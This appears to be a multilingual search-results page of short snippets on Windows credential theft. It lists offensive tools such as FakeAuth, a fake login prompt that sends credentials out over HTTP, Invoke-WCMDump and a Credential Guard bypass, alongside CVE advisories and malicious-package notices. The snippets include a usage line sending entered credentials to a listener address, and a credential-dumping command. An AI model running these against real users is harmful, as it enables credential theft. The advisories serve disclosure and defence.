FakeAuth

FakeAuth FakeAuth 是一个通过弹出用户凭据提示框并使用 HTTP 协议进行数据外泄的工具。 灵感来源于以下项目 1. hlldz's PICKL3 https://github.com/hlldz/pickl3 代码可能比较粗糙，还带着一些 bug ; 安装 没有特殊要求 使用方法 v1.01 root@kitploit: Usage: FakeAuth.exe Example: FakeAuth.exe 1 1 1 10 windowtitle entercreds 10.0.0.0:80\n hide integer - Hide Process in Taskmgr...

Invoke-WCMDump

Invoke-WCMDump PowerShell 脚本，用于从凭据管理器中转储 Windows 凭据 Invoke-WCMDump 枚举凭据管理器中的 Windows 凭据，然后提取每个凭据的可用信息。对于“Generic”类型的凭据，可以检索密码；对于“Domain”类型的凭据，则无法通过相同方法检索。仅返回当前用户的凭据。 不需要管理员权限！ 作者：Barrett Adams（@peewpw） 示例 root@kitploit: PSImport-Module .\Invoke-WCMDump.ps1 PSInvoke-WCMDump Username : testusername...

BypassCredGuard

BypassCredGuard - Bypass di Credential Guard tramite patch della memoria di Wdigest Contesto Adam Chester @xpn ha scritto un articolo intitolato "Exploring Mimikatz - Part 1 - WDigest" sul memory patching per abilitare UseLogonCredential e far sì che Wdigest memorizzi le credenziali in chiaro, e...

BackupCreds

BackupCreds root@kitploit: | | | | | | | Dump all the Creds! | | | | | | | | | | | | Lefteris lefty Panos | || Abuso di SeTrustedCredmanAccessPrivilege per estrarre le credenziali utente Il programma offre la possibilità di estrarre le credenziali memorizzate che un utente potrebbe avere in...

CVE-2026-64816

RapidRAW before 1.6.0 does not validate the lutPath field in preset files before passing it to File::open in lutprocessing.rs. On Windows, a UNC path in lutPath causes an outbound SMB connection to an attacker-controlled host, leaking the victim's NTLMv2 credentials. The vulnerable code path is...

MAL-2026-10450 Malicious code in font-hub (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3df3dbd8669e4658a00a698bd8bd233d4c07de13b0f0e5533ca0d456b2ea3cf1 index.js exports a getPlugin function that performs an HTTPS request to https://svganchordev.net/icons/ and passes the response's credits field into...

EUVD-2026-38604

Module: plugins/modules/keyringinfo.py CVSS 3.1: 5.5 MEDIUM — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Issue: The module retrieves a passphrase from the OS native keyring GNOME Keyring, macOS Keychain, Windows Credential Manager and places it directly into result"passphrase" with no output suppression...

CVE-2026-39908

OpenBullet2 through version 0.3.2 on Windows contains a credential disclosure vulnerability that allows remote attackers to capture the NTLMv2 hash of the process user by configuring a job proxy source with a UNC path pointing to an attacker-controlled server. When the job starts, the application...

Update 26.12 for Microsoft Dynamics 365 Business Central 2025 Release Wave 1 (Application Build 26.12.48244, Platform Build 26.0.48120)

None None...

EUVD-2020-12261

Malware in sbrugna...

EUVD-2019-1589

Malware in sbrugna...

EUVD-2023-25893

Malicious code in bioql PyPI...

EUVD-2022-35378

Malicious code in bioql PyPI...

EUVD-2022-27185

Malicious code in bioql PyPI...

CVE-2025-47987

Heap-based buffer overflow in Windows Cred SSProvider Protocol allows an authorized attacker to elevate privileges locally...

CVE-2021-21448

SAP GUI for Windows, version - 7.60, allows an attacker to spoof logon credentials for Application Server ABAP backend systems in the client PCs memory. Under certain conditions the attacker can access information which would otherwise be restricted. The exploit can only be executed locally on th...

CVE-2020-1385

An elevation of privilege vulnerability exists in the way that the Windows Credential Picker handles objects in memory, aka 'Windows Credential Picker Elevation of Privilege Vulnerability'...

CVE-2019-0838

An information disclosure vulnerability exists when Windows Task Scheduler improperly discloses credentials to Windows Credential Manager, aka 'Windows Information Disclosure Vulnerability'. This CVE ID is unique from CVE-2019-0839...

uberAgent is unable to read encrypted credentials stored in Windows Credential Store

Customer is attempting to store encrypted credentials in the Windows Credentials Store as described in the uberAgent documentation https://docs.citrix.com/en-us/uberagent/7-3-1/uxm-features-configuration/username-and-configuration-setting-encryption-2.html, but uberAgent is unable to read the...

CVE-2024-0912

CVE-2024-0912 affects Johnson Controls Software House C•CURE 9000 running on IIS. In certain conditions, the IIS web host can log Windows credentials within the application logs, exposing sensitive information. Affected product/version: Software House C•CURE 9000 v3.00.2 (hosted on IIS). Technica...